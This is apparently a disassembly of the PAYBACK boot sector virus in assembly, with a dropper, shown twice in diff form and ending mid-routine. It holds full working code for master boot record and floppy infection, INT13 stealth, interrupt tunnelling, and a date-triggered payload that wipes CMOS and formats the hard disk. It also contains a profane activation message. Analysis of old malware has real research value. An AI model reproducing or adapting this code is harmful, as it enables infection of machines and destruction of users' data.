ROR AX,CL ;calculate upper memory segment
|
||||
LES BX,[004C] ;get BIOS INT13h handler offset & seg.
|
||||
MOV [07DB7],BX ;store orig. offset within virus
|
||||
MOV [07DB9],ES ;store orig. segment within virus
|
||||
MOV WORD PTR [004C],008D ;set INT13h offset vector to virus
|
||||
MOV [004E],AX ;set vector to installed virus seg.
|
||||
MOV ES,AX ;set ES to installed virus segment
|
||||
XOR DI,DI ;zero destination offset for move
|
||||
MOV SI,07C00 ;set source address for virus move
|
||||
PUSH SI ;set SI for orig. boot sector load
|
||||
MOV CX,02C8 ;set byte count for move (a count of
|
||||
;0200h would have been adequate)
|
||||
CLD ;clear direction flag (fwd)
|
||||
REPZ
|
||||
MOVSB ;move virus to upper memory
|
||||
PUSH ES ;set up stack for virus reentry seg.
|
||||
MOV AX,003F ;AX = offset for virus reentry point
|
||||
PUSH AX ;set up stack for virus reentry off.
|
||||
RETF ;return to self in new location (ES:AX)
|
||||
|
||||
NEW_LOCATION:
|
||||
MOV AX,0201 ;select read-one-sector function
|
||||
POP BX ;set disk I/O buffer to 7C00h
|
||||
MOV CX,0002 ;track 0, sector 2 (self modified by
|
||||
;virus to reflect true MBR location)
|
||||
MOV DX,0080 ;head 0, fixed disk "C" (once again,
|
||||
;self-modified by virus)
|
||||
AND DL,080 ;mask to load original MBR from drive
|
||||
;"C", even if not boot drive, or drive
|
||||
;"A" if boot is from floppy
|
||||
POP ES ;set ES = 0000h
|
||||
CALL BIOS_INT13 ;load original boot sector to 0:7C00
|
||||
PUSH CS
|
||||
POP DS ;set to current upper-mem. seg. value
|
||||
PUSH CS
|
||||
POP ES ;ditto
|
||||
MOV AX,0201 ;select read-one-sector function
|
||||
MOV BX,0200 ;set I/O buffer location
|
||||
MOV CX,0001 ;track 0, sector 1
|
||||
MOV DX,0080 ;head 0, fixed disk "C"
|
||||
CALL BIOS_INT13 ;load MBR
|
||||
CMP WORD PTR [0210],012CD ;check for infect tag
|
||||
JE BOOT_EXIT ;if infected, exit
|
||||
CMP WORD PTR [03FE],0AA55 ;valid boot record tag?
|
||||
JNE BOOT_EXIT ;if not, then exit
|
||||
MOV AX,0302 ;select write-two-sectors function
|
||||
XOR BX,BX ;set buffer offset to include virus
|
||||
INC CX ;track 0, sector 2 (relocated MBR)
|
||||
MOV [0044],CX ;store track/sector within viral code
|
||||
MOV [0047],DX ;store head/drive within viral code
|
||||
DEC CX ;track 0, sector 1
|
||||
CALL BIOS_INT13 ;write virus to MBR and original MBR
|
||||
;to sector 2.
|
||||
BOOT_EXIT:
|
||||
CALL CHECK_DATE ;check for activation date
|
||||
JMP 0000:07C00 ;wrong date, so jump to original MBR
|
||||
|
||||
;*****************************************************************************
|
||||
;INT13h handler routine.
|
||||
|
||||
STEALTH:
|
||||
CMP CX,+01 ;track 0, sector 1?
|
||||
JNE EXIT2BIOS ;if not, no need for stealth, so exit
|
||||
OR DH,DH ;head 0?
|
||||
JNE EXIT2BIOS ;ditto
|
||||
CMP AH,02 ;read request?
|
||||
JE ORIG_SECT ;if so, time for stealth...
|
||||
|
||||
EXIT2BIOS:
|
||||
CS:
|
||||
JMP FAR D[01B7] ;jump to BIOS via stored address
|
||||
|
||||
EXIT2CALL:
|
||||
RETF 0002 ;exit to calling routine
|
||||
|
||||
ORIG_SECT:
|
||||
CALL BIOS_INT13 ;read boot sector
|
||||
JB EXIT2CALL ;if flag=failure, exit to calling rtn.
|
||||
ES:
|
||||
CMP WORD PTR [BX+0010],012CD ;check for infection tag
|
||||
JNE INFECT_FLOPPY ;if not infected, then infect
|
||||
MOV AX,0201 ;select read-one-sector function
|
||||
PUSH CX ;preserve registers values
|
||||
PUSH DX ;for boot sector
|
||||
ES:
|
||||
MOV CX,[BX+0044] ;load track/sect. # of orig. boot rcd.
|
||||
ES:
|
||||
MOV DH,[BX+0048] ;load head # of original boot record
|
||||
CALL BIOS_INT13 ;load original boot record
|
||||
POP DX ;restore registers to values
|
||||
POP CX ;sent by calling routine
|
||||
JMP EXIT2CALL ;exit directly back to calling routine
|
||||
|
||||
;*****************************************************************************
|
||||
;Diskette infection routine. Very clever and code efficient (to me, anyway).
|
||||
|
||||
INFECT_FLOPPY:
|
||||
PUSHF ;push flags to hide I/O errors
|
||||
PUSH AX ;preserve registers
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH DI
|
||||
PUSH ES
|
||||
PUSH CX ;save a few register values a
|
||||
PUSH DX ;second time to be used by
|
||||
PUSH BX ;the virus interrupt handler
|
||||
TEST DL,080 ;fixed drive I/O?
|
||||
JNZ EXIT_1 ;if so, then exit handler
|
||||
ES:
|
||||
CMP WORD PTR [BX+01FE],0AA55 ;boot sect. in buffer?
|
||||
JNE EXIT_1 ;if not, exit handler
|
||||
CALL CALC_TRACK ;if so, calc. reloc. track/sector #
|
||||
JB EXIT_1 ;if not standard format, exit
|
||||
CS:
|
||||
MOV [0044],CX ;store reloc. track/sect. within virus
|
||||
CS:
|
||||
MOV [0047],DX ;store reloc. head/drive within virus
|
||||
POP BX ;restore orig. buffer offset
|
||||
MOV AX,0301 ;select write-one-sector
|
||||
PUSH AX
|
||||
CALL BIOS_INT13 ;relocate boot sector
|
||||
POP AX ;restore some registers
|
||||
POP DX
|
||||
POP CX
|
||||
JB EXIT_2 ;if I/O flag = failure, exit
|
||||
XOR BX,BX ;set I/O buffer to virus start
|
||||
PUSH CS
|
||||
POP ES ;set ES=CS
|
||||
CALL BIOS_INT13 ;write virus to boot sector
|
||||
JMP EXIT_2 ;exit handler
|
||||
|
||||
EXIT_1:
|
||||
POP BX ;restore registers
|
||||
POP DX
|
||||
POP CX
|
||||
|
||||
EXIT_2:
|
||||
POP ES ;restore registers
|
||||
POP DI
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
POPF ;pop flags to hide I/O errors
|
||||
JMP EXIT2BIOS ;jump to exit to BIOS
|
||||
|
||||
CALC_TRACK:
|
||||
MOV DI,DX ;load DI with head/drive #
|
||||
ES:
|
||||
MOV AX,[BX+013] ;load total # sectors on disk from BPB
|
||||
ES:
|
||||
MOV CX,[BX+018] ;load # of sectors per track from BPB
|
||||
OR AX,AX ;test AX for 00h
|
||||
JZ BPB_FAIL ;if zero, non-standard format, so exit
|
||||
JCXZ BPB_FAIL ;ditto for CX
|
||||
XOR DX,DX ;clear DX for remainder storage
|
||||
DIV CX ;divide AX by CX
|
||||
OR DX,DX ;test DX for 00h (no remainder)
|
||||
JNZ BPB_FAIL ;if <> 0, non-standard format, so exit
|
||||
ES:
|
||||
MOV BX,[BX+01A] ;load # of disk sides from BPB
|
||||
OR BX,BX ;test BX for 00h
|
||||
JZ BPB_FAIL ;if zero, non-standard format, so exit
|
||||
DIV BX ;divide AX by BX
|
||||
OR DX,DX ;test DX for 00h (no remaider)
|
||||
JNZ BPB_FAIL ;if <> 0, non-standard format, so exit
|
||||
DEC AL ;decr. AL to obtain # of last track
|
||||
MOV CH,AL ;set track # for boot sect. relocation
|
||||
DEC BL ;decr. BL to obtain # of last head
|
||||
MOV DX,DI ;restore head/drive information
|
||||
MOV DH,BL ;set head # to last head
|
||||
CLC ;clear carry flag to indicate success
|
||||
RET
|
||||
|
||||
BPB_FAIL:
|
||||
STC ;set carry flag to indicate failure
|
||||
RET
|
||||
|
||||
BIOS_INT13:
|
||||
PUSHF ;push flags
|
||||
CS:
|
||||
CALL FAR D[01B7] ;call BIOS INT13h handler via stored
|
||||
RET ;address
|
||||
|
||||
;****************************************************************************
|
||||
;Check date for activation (routine modified to prevent activation).
|
||||
|
||||
CHECK_DATE:
|
||||
MOV AH,04 ;request date function
|
||||
INT 01A ;request date
|
||||
CMP DX,02BAD ;check for trigger date
|
||||
JE ZAP_CMOS ;the route to unethical (and illegal)
|
||||
RET ;behavior
|
||||
|
||||
;****************************************************************************
|
||||
;Clear contents of CMOS system configuration memory.
|
||||
|
||||
ZAP_CMOS:
|
||||
MOV CX,00FF ;set CMOS count (03Ch would have been
|
||||
;adequate, according to my reference)
|
||||
ZCLP1: MOV DX,0070 ;set port #70h
|
||||
MOV AL,CL ;set configuration address
|
||||
OUT DX,AL ;select CMOS address
|
||||
JMP WHY ;don't understand the need for this
|
||||
WHY: INC DX ;set port #71h
|
||||
XOR AL,AL ;set data value to zero
|
||||
OUT DX,AL ;write data value to CMOS
|
||||
LOOP ZCLP1 ;do it until CMOS count = 0
|
||||
|
||||
;*****************************************************************************
|
||||
;Obtain format data from fixed disk "C" partition table.
|
||||
|
||||
MOV DI,[03C4] ;ending cyl/sector #'s from prtn. tbl.
|
||||
AND DI,-040 ;mask out ending sector number
|
||||
MOV CL,06 ;load CL with number of shifts
|
||||
SHR DI,CL ;shift to obtain ending cylinder #
|
||||
MOV AL,[03C3] ;ending head # from partition table
|
||||
XOR AH,AH ;zero AH
|
||||
XCHG BP,AX ;store ending head # in BP
|
||||
MOV BX,01F5 ;point to sector format info. table
|
||||
MOV DX,0080 ;select fixed disk "C"
|
||||
|
||||
;*****************************************************************************
|
||||
;Trash fixed disk "C" by formatting entire partition. If my interpretation of
|
||||
;this routine is correct, it formats each platter side before incrementing the
|
||||
;head count to format the next platter. The destructive "advantage" of this,
|
||||
;I believe, would be that the deletion of code segments from large numbers
|
||||
;of files would be accomplished very quickly, rendering executable or ZIPed
|
||||
;files as useless as if they were totally deleted, but in a much shorter time.
|
||||
|
||||
TRASH_HD:
|
||||
XOR CX,CX ;set cylinder # to zero
|
||||
|
||||
FORMAT_TRACK:
|
||||
MOV AX,0501 ;format-track function, interleave 1
|
||||
CALL BIOS_INT13 ;format track (cylinder)
|
||||
AND CL,0C0 ;mask for cylinder # bits 6-7
|
||||
ROL CL,01 ;shift to bits 6-7 of cylinder number
|
||||
ROL CL,01 ;into bottom two (0-1) bits of CL
|
||||
XCHG CL,CH ;put bottom two bits in CH to match
|
||||
;DI bit arrangement
|
||||
INC CX ;increment track count
|
||||
CMP CX,DI ;last cylinder (CX bit pattern match
|
||||
;DI bit pattern)?
|
||||
JA NEXT_HEAD ;if so, increment head number
|
||||
XCHG CL,CH ;put CL back to where it started
|
||||
ROR CL,01 ;shift to obtain
|
||||
ROR CL,01 ;original value
|
||||
JMP FORMAT_TRACK ;format next track
|
||||
|
||||
NEXT_HEAD:
|
||||
INC DH ;increment head number
|
||||
MOV AX,BP ;load AX with last head number
|
||||
CMP DH,AL ;last head?
|
||||
JBE TRASH_HD ;if not, do it again
|
||||
|
||||
;****************************************************************************
|
||||
;Display activation message.
|
||||
|
||||
MOV SI,OFFSET MESSAGE_TEXT ;load offset of message text
|
||||
DMLP1: CLD ;clear direction flag (fwd)
|
||||
LODSB ;load character of message
|
||||
OR AL,AL ;check for text end (0)
|
||||
JZ LOCK_IT_UP ;if end of message, lock up system
|
||||
MOV AH,0E ;select write-character function
|
||||
XOR BX,BX ;page 0, color 0
|
||||
INT 010 ;display character on screen
|
||||
JMP DMLP1 ;do it all again
|
||||
|
||||
LOCK_IT_UP:
|
||||
CLI ;disable interrupts
|
||||
HLT ;select 0.0 Mips mode
|
||||
|
||||
;*****************************************************************************
|
||||
;Storage area for BIOS INT13 vector used by virus.
|
||||
|
||||
DB ? ;Pad byte (A86 assembly only)
|
||||
DW ? ;BIOS INT13 offset storage location
|
||||
DW ? ;BIOS INT13 segment storage location
|
||||
|
||||
;*****************************************************************************
|
||||
;Text strings for activation message.
|
||||
|
||||
MESSAGE_TEXT:
|
||||
DB 0A,0D ;linefeed, carriage ret.
|
||||
DB "That was for ARCV, mother fucker!"
|
||||
DB 0A,0A,0D ;linefeed x 2, car. ret.
|
||||
DB "Payback! (c) 1993"
|
||||
DB 0A,0D ;linefeed, carriage ret.
|
||||
|
||||
;*****************************************************************************
|
||||
;End-of-boot sector pad bytes and valid boot sector tag bytes.
|
||||
|
||||
DB 10 DUP ? ;pad bytes
|
||||
DB 055,0AA ;valid boot sector tag
|
||||
|
||||
;****************************************************************************
|
||||
;Start of space reserved for disk I/O
|
||||
|
||||
MBR_BUFFER:
|
||||
|
||||
DB 512 DUP ? ;reserve one sectors worth of space
|
||||
|
||||
;****************************************************************************
|
||||
;Storage location for INT13 vector used by dropper routine.
|
||||
|
||||
VECT_INT13:
|
||||
|
||||
DD ? ;BIOS INT13 offset/segment storage
|
||||
|
||||
MAIN ENDS
|
||||
|
|
@ -0,0 +1,476 @@
|
|||
;*****************************************************************************
|
||||
;* *
|
||||
;* FILE: PAYBACK.A86 *
|
||||
;* PURPOSE: Dropper containing PAYBACK boot sector virus *
|
||||
;* DISASSEMBLY BY: Willoughby AUTHOR: Unknown clever coder *
|
||||
;* *
|
||||
;*****************************************************************************
|
||||
|
||||
MAIN SEGMENT BYTE
|
||||
ASSUME CS:MAIN,DS:MAIN,ES:MAIN
|
||||
|
||||
ORG 100h
|
||||
|
||||
;*****************************************************************************
|
||||
;Decryption routine to decrypt body of virus. Not used in this file as virus
|
||||
;has already been decrypted for analysis. Bit sequence of encryption/decryp-
|
||||
;tion key possibly chosen for its randomized bit sequence (just a guess).
|
||||
|
||||
;DECRYPT:
|
||||
; MOV CX,02A8 ;set length of encrypted code
|
||||
; MOV AX,0391D ;load decryption key (bit sequence
|
||||
; ;"0011100100011101")
|
||||
; MOV SI,OFFSET MBR_BUFFER ;point to end of encrypt. code
|
||||
;DECLP1: DEC CX ;decrement byte count
|
||||
; JS DROPPER ;if done, jump to dropper start
|
||||
; XOR [SI],AL ;decrypt a byte
|
||||
; XCHG AH,AL ;change key
|
||||
; ROR AX,CL ;really mix it up
|
||||
; DEC SI ;point to next byte to decrypt
|
||||
; JMP DECLP1 ;do it all again
|
||||
|
||||
;****************************************************************************
|
||||
;Dropper routine to place virus in MBR of fixed disk "C".
|
||||
|
||||
DROPPER:
|
||||
MOV AX,03513 ;get INT13 vector.
|
||||
INT 021
|
||||
MOV [OFFSET VECT_INT13],BX ;store offset of INT13 in virus
|
||||
MOV [OFFSET VECT_INT13+2],ES ;store segment of INT13 in virus
|
||||
CALL STEAL_INT01 ;jump to steal INT01 routine
|
||||
MOV AX,0201 ;select read-one-sector function
|
||||
MOV BX,OFFSET MBR_BUFFER ;set disk I/O buffer offset
|
||||
MOV CX,0001 ;cylinder 0, sector 1
|
||||
MOV DX,0080 ;head 0, fixed disk "C"
|
||||
CALL SYS_INT13 ;read boot sector of drive "C"
|
||||
JB RUN_CARRIER ;if flag = failure, execute carrier
|
||||
CMP WORD PTR [BX+010],012CD ;check for infection tag
|
||||
JE RUN_CARRIER ;if infected, execute carrier program
|
||||
XOR AX,AX
|
||||
MOV DS,AX ;point to data segment 0000h
|
||||
MOV AX,[046C] ;load lower two bytes of master clock
|
||||
PUSH CS
|
||||
POP DS ;restore data segment
|
||||
TEST AL,01 ;AL=01 in 1 out of 2 tries (clock LSB)
|
||||
JZ RUN_CARRIER ;if AL <> 01, do not infect system
|
||||
SUB BX,0200 ;set disk I/O buffer to point to virus
|
||||
MOV AX,0302 ;select write-two-sectors
|
||||
CALL SYS_INT13 ;write virus to MBR and original
|
||||
;boot sector to sector 2.
|
||||
|
||||
;****************************************************************************
|
||||
;Routine to restore original jump address to start of trojan file and to
|
||||
;execute trojan carrier program. We don't use it here since the virus is not
|
||||
;attached to anything (other than its own dropper). Instead, the replacement
|
||||
;RUN_CARRIER routine below it is executed to terminate the dropper.
|
||||
|
||||
;RUN_CARRIER:
|
||||
; MOV DI,0100 ;point to carrier prog. start
|
||||
; MOV WORD PTR [DI],030B4 ;restore original jump value
|
||||
; MOV BYTE PTR [DI+02],CD ;ditto
|
||||
; XOR AX,AX
|
||||
; PUSH DI ;zero DI
|
||||
; RET ;exit and execute carrier program
|
||||
|
||||
RUN_CARRIER:
|
||||
MOV AX,04C00 ;select terminate-with-return-code
|
||||
INT 021 ;terminate PAYBACK.COM dropper
|
||||
|
||||
;*****************************************************************************
|
||||
;Routine to steal INT01 for tunnelling purposes and then restore it to its
|
||||
;original value. Tunnelling is new to me, so I hope that I got this right.
|
||||
|
||||
STEAL_INT01:
|
||||
MOV AX,03501 ;get INT01 (single-step) vector
|
||||
INT 021
|
||||
MOV DX,[OFFSET FIND_INT13] ;offset of virus INT01 handler
|
||||
MOV AH,025 ;steal INT01 vector
|
||||
INT 021
|
||||
PUSHF
|
||||
POP AX ;pop flags into AX
|
||||
OR AH,01 ;set trap flag
|
||||
PUSH AX
|
||||
POPF ;pop AX into flag register (from this
|
||||
;point on, every instruction execution
|
||||
;also executes the viral INT01
|
||||
;handler)
|
||||
XOR AX,AX ;zero AX
|
||||
CALL SYS_INT13 ;reset disks to allow INT01 tunnelling
|
||||
;to find BIOS INT13 handler address
|
||||
PUSHF
|
||||
POP AX ;pop flags into AX
|
||||
AND AH,0FE ;zero trap flag
|
||||
PUSH AX
|
||||
POPF ;pop AX into flag register
|
||||
MOV AX,02501 ;set-interrupt-vector function (INT01)
|
||||
MOV DX,BX ;load DX with orig. INT01 offset
|
||||
PUSH ES
|
||||
POP DS ;load DS with orig. INT01 segment
|
||||
INT 21 ;restore INT01 vector to orig. value
|
||||
PUSH CS
|
||||
PUSH CS
|
||||
POP DS ;set DS and ES to value of
|
||||
POP ES ;code segment
|
||||
RET
|
||||
|
||||
;*****************************************************************************
|
||||
;INT01 handler routine to accomplish tunnelling address aquisition for
|
||||
;original INT13 handler.
|
||||
|
||||
FIND_INT13:
|
||||
PUSH BP
|
||||
MOV BP,SP ;load BP with the stack offset
|
||||
PUSH AX
|
||||
MOV AX,[BP+04] ;load AX with the segment of the
|
||||
;calling routine
|
||||
CMP AX,0C800 ;is it in DOS segment?
|
||||
JNB TUNNEL ;if not, its time to tunnel
|
||||
|
||||
EXIT: POP AX ;restore registers
|
||||
POP BP
|
||||
IRET ;return from INT01 interrupt
|
||||
|
||||
TUNNEL:
|
||||
CMP AX,0F000 ;calling routine in ROM?
|
||||
JA EXIT ;if so, no need to tunnel, so exit
|
||||
CS: ;if not, store orig. INT13 segment
|
||||
MOV [OFFSET VECT_INT13+02],AX ;for use during MBR infection
|
||||
MOV AX,[BP+02] ;load AX with original INT13 offset
|
||||
CS:
|
||||
MOV [OFFSET VECT_INT13],AX ;store original INT13 handler offset
|
||||
AND WORD PTR [BP+06],0FEFF ;clear trap flag on stack prior to
|
||||
JMP EXIT ;return to prevent re-execution of
|
||||
;this INT01 handler
|
||||
|
||||
SYS_INT13:
|
||||
PUSHF ;preserve flags
|
||||
CS:
|
||||
CALL FAR D[OFFSET VECT_INT13] ;call INT13 handler via stored addr.
|
||||
RET
|
||||
|
||||
;*****************************************************************************
|
||||
;Start of boot sector virus code.
|
||||
|
||||
BOOT: CLI ;disable interrupts
|
||||
XOR AX,AX
|
||||
MOV DS,AX ;set data segment
|
||||
MOV SS,AX ;set stack segment
|
||||
MOV SP,0FFFE ;set stack pointer
|
||||
STI ;enable interrupts
|
||||
PUSH DS ;preserve DS
|
||||
DEC WORD PTR [0413] ;lower top of memory 1K
|
||||
INT 012 ;get base memory size
|
||||
MOV CL,0A ;set rotation count
|
||||
ROR AX,CL ;calculate upper memory segment
|
||||
LES BX,[004C] ;get BIOS INT13h handler offset & seg.
|
||||
MOV [07DB7],BX ;store orig. offset within virus
|
||||
MOV [07DB9],ES ;store orig. segment within virus
|
||||
MOV WORD PTR [004C],008D ;set INT13h offset vector to virus
|
||||
MOV [004E],AX ;set vector to installed virus seg.
|
||||
MOV ES,AX ;set ES to installed virus segment
|
||||
XOR DI,DI ;zero destination offset for move
|
||||
MOV SI,07C00 ;set source address for virus move
|
||||
PUSH SI ;set SI for orig. boot sector load
|
||||
MOV CX,02C8 ;set byte count for move (a count of
|
||||
;0200h would have been adequate)
|
||||
CLD ;clear direction flag (fwd)
|
||||
REPZ
|
||||
MOVSB ;move virus to upper memory
|
||||
PUSH ES ;set up stack for virus reentry seg.
|
||||
MOV AX,003F ;AX = offset for virus reentry point
|
||||
PUSH AX ;set up stack for virus reentry off.
|
||||
RETF ;return to self in new location (ES:AX)
|
||||
|
||||
NEW_LOCATION:
|
||||
MOV AX,0201 ;select read-one-sector function
|
||||
POP BX ;set disk I/O buffer to 7C00h
|
||||
MOV CX,0002 ;track 0, sector 2 (self modified by
|
||||
;virus to reflect true MBR location)
|
||||
MOV DX,0080 ;head 0, fixed disk "C" (once again,
|
||||
;self-modified by virus)
|
||||
AND DL,080 ;mask to load original MBR from drive
|
||||
;"C", even if not boot drive, or drive
|
||||
;"A" if boot is from floppy
|
||||
POP ES ;set ES = 0000h
|
||||
CALL BIOS_INT13 ;load original boot sector to 0:7C00
|
||||
PUSH CS
|
||||
POP DS ;set to current upper-mem. seg. value
|
||||
PUSH CS
|
||||
POP ES ;ditto
|
||||
MOV AX,0201 ;select read-one-sector function
|
||||
MOV BX,0200 ;set I/O buffer location
|
||||
MOV CX,0001 ;track 0, sector 1
|
||||
MOV DX,0080 ;head 0, fixed disk "C"
|
||||
CALL BIOS_INT13 ;load MBR
|
||||
CMP WORD PTR [0210],012CD ;check for infect tag
|
||||
JE BOOT_EXIT ;if infected, exit
|
||||
CMP WORD PTR [03FE],0AA55 ;valid boot record tag?
|
||||
JNE BOOT_EXIT ;if not, then exit
|
||||
MOV AX,0302 ;select write-two-sectors function
|
||||
XOR BX,BX ;set buffer offset to include virus
|
||||
INC CX ;track 0, sector 2 (relocated MBR)
|
||||
MOV [0044],CX ;store track/sector within viral code
|
||||
MOV [0047],DX ;store head/drive within viral code
|
||||
DEC CX ;track 0, sector 1
|
||||
CALL BIOS_INT13 ;write virus to MBR and original MBR
|
||||
;to sector 2.
|
||||
BOOT_EXIT:
|
||||
CALL CHECK_DATE ;check for activation date
|
||||
JMP 0000:07C00 ;wrong date, so jump to original MBR
|
||||
|
||||
;*****************************************************************************
|
||||
;INT13h handler routine.
|
||||
|
||||
STEALTH:
|
||||
CMP CX,+01 ;track 0, sector 1?
|
||||
JNE EXIT2BIOS ;if not, no need for stealth, so exit
|
||||
OR DH,DH ;head 0?
|
||||
JNE EXIT2BIOS ;ditto
|
||||
CMP AH,02 ;read request?
|
||||
JE ORIG_SECT ;if so, time for stealth...
|
||||
|
||||
EXIT2BIOS:
|
||||
CS:
|
||||
JMP FAR D[01B7] ;jump to BIOS via stored address
|
||||
|
||||
EXIT2CALL:
|
||||
RETF 0002 ;exit to calling routine
|
||||
|
||||
ORIG_SECT:
|
||||
CALL BIOS_INT13 ;read boot sector
|
||||
JB EXIT2CALL ;if flag=failure, exit to calling rtn.
|
||||
ES:
|
||||
CMP WORD PTR [BX+0010],012CD ;check for infection tag
|
||||
JNE INFECT_FLOPPY ;if not infected, then infect
|
||||
MOV AX,0201 ;select read-one-sector function
|
||||
PUSH CX ;preserve registers values
|
||||
PUSH DX ;for boot sector
|
||||
ES:
|
||||
MOV CX,[BX+0044] ;load track/sect. # of orig. boot rcd.
|
||||
ES:
|
||||
MOV DH,[BX+0048] ;load head # of original boot record
|
||||
CALL BIOS_INT13 ;load original boot record
|
||||
POP DX ;restore registers to values
|
||||
POP CX ;sent by calling routine
|
||||
JMP EXIT2CALL ;exit directly back to calling routine
|
||||
|
||||
;*****************************************************************************
|
||||
;Diskette infection routine. Very clever and code efficient (to me, anyway).
|
||||
|
||||
INFECT_FLOPPY:
|
||||
PUSHF ;push flags to hide I/O errors
|
||||
PUSH AX ;preserve registers
|
||||
PUSH BX
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
PUSH DI
|
||||
PUSH ES
|
||||
PUSH CX ;save a few register values a
|
||||
PUSH DX ;second time to be used by
|
||||
PUSH BX ;the virus interrupt handler
|
||||
TEST DL,080 ;fixed drive I/O?
|
||||
JNZ EXIT_1 ;if so, then exit handler
|
||||
ES:
|
||||
CMP WORD PTR [BX+01FE],0AA55 ;boot sect. in buffer?
|
||||
JNE EXIT_1 ;if not, exit handler
|
||||
CALL CALC_TRACK ;if so, calc. reloc. track/sector #
|
||||
JB EXIT_1 ;if not standard format, exit
|
||||
CS:
|
||||
MOV [0044],CX ;store reloc. track/sect. within virus
|
||||
CS:
|
||||
MOV [0047],DX ;store reloc. head/drive within virus
|
||||
POP BX ;restore orig. buffer offset
|
||||
MOV AX,0301 ;select write-one-sector
|
||||
PUSH AX
|
||||
CALL BIOS_INT13 ;relocate boot sector
|
||||
POP AX ;restore some registers
|
||||
POP DX
|
||||
POP CX
|
||||
JB EXIT_2 ;if I/O flag = failure, exit
|
||||
XOR BX,BX ;set I/O buffer to virus start
|
||||
PUSH CS
|
||||
POP ES ;set ES=CS
|
||||
CALL BIOS_INT13 ;write virus to boot sector
|
||||
JMP EXIT_2 ;exit handler
|
||||
|
||||
EXIT_1:
|
||||
POP BX ;restore registers
|
||||
POP DX
|
||||
POP CX
|
||||
|
||||
EXIT_2:
|
||||
POP ES ;restore registers
|
||||
POP DI
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX
|
||||
POP AX
|
||||
POPF ;pop flags to hide I/O errors
|
||||
JMP EXIT2BIOS ;jump to exit to BIOS
|
||||
|
||||
CALC_TRACK:
|
||||
MOV DI,DX ;load DI with head/drive #
|
||||
ES:
|
||||
MOV AX,[BX+013] ;load total # sectors on disk from BPB
|
||||
ES:
|
||||
MOV CX,[BX+018] ;load # of sectors per track from BPB
|
||||
OR AX,AX ;test AX for 00h
|
||||
JZ BPB_FAIL ;if zero, non-standard format, so exit
|
||||
JCXZ BPB_FAIL ;ditto for CX
|
||||
XOR DX,DX ;clear DX for remainder storage
|
||||
DIV CX ;divide AX by CX
|
||||
OR DX,DX ;test DX for 00h (no remainder)
|
||||
JNZ BPB_FAIL ;if <> 0, non-standard format, so exit
|
||||
ES:
|
||||
MOV BX,[BX+01A] ;load # of disk sides from BPB
|
||||
OR BX,BX ;test BX for 00h
|
||||
JZ BPB_FAIL ;if zero, non-standard format, so exit
|
||||
DIV BX ;divide AX by BX
|
||||
OR DX,DX ;test DX for 00h (no remaider)
|
||||
JNZ BPB_FAIL ;if <> 0, non-standard format, so exit
|
||||
DEC AL ;decr. AL to obtain # of last track
|
||||
MOV CH,AL ;set track # for boot sect. relocation
|
||||
DEC BL ;decr. BL to obtain # of last head
|
||||
MOV DX,DI ;restore head/drive information
|
||||
MOV DH,BL ;set head # to last head
|
||||
CLC ;clear carry flag to indicate success
|
||||
RET
|
||||
|
||||
BPB_FAIL:
|
||||
STC ;set carry flag to indicate failure
|
||||
RET
|
||||
|
||||
BIOS_INT13:
|
||||
PUSHF ;push flags
|
||||
CS:
|
||||
CALL FAR D[01B7] ;call BIOS INT13h handler via stored
|
||||
RET ;address
|
||||
|
||||
;****************************************************************************
|
||||
;Check date for activation (routine modified to prevent activation).
|
||||
|
||||
CHECK_DATE:
|
||||
MOV AH,04 ;request date function
|
||||
INT 01A ;request date
|
||||
CMP DX,02BAD ;check for trigger date
|
||||
JE ZAP_CMOS ;the route to unethical (and illegal)
|
||||
RET ;behavior
|
||||
|
||||
;****************************************************************************
|
||||
;Clear contents of CMOS system configuration memory.
|
||||
|
||||
ZAP_CMOS:
|
||||
MOV CX,00FF ;set CMOS count (03Ch would have been
|
||||
;adequate, according to my reference)
|
||||
ZCLP1: MOV DX,0070 ;set port #70h
|
||||
MOV AL,CL ;set configuration address
|
||||
OUT DX,AL ;select CMOS address
|
||||
JMP WHY ;don't understand the need for this
|
||||
WHY: INC DX ;set port #71h
|
||||
XOR AL,AL ;set data value to zero
|
||||
OUT DX,AL ;write data value to CMOS
|
||||
LOOP ZCLP1 ;do it until CMOS count = 0
|
||||
|
||||
;*****************************************************************************
|
||||
;Obtain format data from fixed disk "C" partition table.
|
||||
|
||||
MOV DI,[03C4] ;ending cyl/sector #'s from prtn. tbl.
|
||||
AND DI,-040 ;mask out ending sector number
|
||||
MOV CL,06 ;load CL with number of shifts
|
||||
SHR DI,CL ;shift to obtain ending cylinder #
|
||||
MOV AL,[03C3] ;ending head # from partition table
|
||||
XOR AH,AH ;zero AH
|
||||
XCHG BP,AX ;store ending head # in BP
|
||||
MOV BX,01F5 ;point to sector format info. table
|
||||
MOV DX,0080 ;select fixed disk "C"
|
||||
|
||||
;*****************************************************************************
|
||||
;Trash fixed disk "C" by formatting entire partition. If my interpretation of
|
||||
;this routine is correct, it formats each platter side before incrementing the
|
||||
;head count to format the next platter. The destructive "advantage" of this,
|
||||
;I believe, would be that the deletion of code segments from large numbers
|
||||
;of files would be accomplished very quickly, rendering executable or ZIPed
|
||||
;files as useless as if they were totally deleted, but in a much shorter time.
|
||||
|
||||
TRASH_HD:
|
||||
XOR CX,CX ;set cylinder # to zero
|
||||
|
||||
FORMAT_TRACK:
|
||||
MOV AX,0501 ;format-track function, interleave 1
|
||||
CALL BIOS_INT13 ;format track (cylinder)
|
||||
AND CL,0C0 ;mask for cylinder # bits 6-7
|
||||
ROL CL,01 ;shift to bits 6-7 of cylinder number
|
||||
ROL CL,01 ;into bottom two (0-1) bits of CL
|
||||
XCHG CL,CH ;put bottom two bits in CH to match
|
||||
;DI bit arrangement
|
||||
INC CX ;increment track count
|
||||
CMP CX,DI ;last cylinder (CX bit pattern match
|
||||
;DI bit pattern)?
|
||||
JA NEXT_HEAD ;if so, increment head number
|
||||
XCHG CL,CH ;put CL back to where it started
|
||||
ROR CL,01 ;shift to obtain
|
||||
ROR CL,01 ;original value
|
||||
JMP FORMAT_TRACK ;format next track
|
||||
|
||||
NEXT_HEAD:
|
||||
INC DH ;increment head number
|
||||
MOV AX,BP ;load AX with last head number
|
||||
CMP DH,AL ;last head?
|
||||
JBE TRASH_HD ;if not, do it again
|
||||
|
||||
;****************************************************************************
|
||||
;Display activation message.
|
||||
|
||||
MOV SI,OFFSET MESSAGE_TEXT ;load offset of message text
|
||||
DMLP1: CLD ;clear direction flag (fwd)
|
||||
LODSB ;load character of message
|
||||
